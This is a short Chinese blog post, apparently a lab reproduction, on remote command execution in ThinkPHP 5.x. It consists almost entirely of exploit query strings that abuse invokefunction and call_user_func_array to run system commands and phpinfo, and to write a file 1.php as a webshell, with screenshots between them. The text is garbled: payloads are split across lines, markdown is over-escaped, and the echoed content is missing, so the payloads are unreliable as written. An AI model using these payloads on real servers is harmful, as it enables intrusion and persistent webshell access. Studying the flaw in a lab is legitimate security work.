Thinkphp5x远程命令执⾏及getshell

2301_815255182024-09-24 12:11

启动环境查看端口

? s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1]

\]=id ![](https://i-blog.csdnimg.cn/direct/71c2408fcf614719986569264e20893f.png) ? s=/Index/\\think\\app/invokefunction\&function=call_user_func_array\&vars\[0\]=phpinfo\&vars\[ 1\]\[\]=-1 ![](https://i-blog.csdnimg.cn/direct/3035c9bc75d545d387ac0b0359d85963.png) ? s=index/think\\app/invokefunction\&function=call_user_func_array\&vars\[0\]=system\&vars\[1

\]=echo "\" \>\>1.php ![](https://i-blog.csdnimg.cn/direct/10d4fe0c722944ceaa489763ceab5209.png) 访问1.php ![](https://i-blog.csdnimg.cn/direct/fc7472516e4840998cb786e1cf50fc8a.png)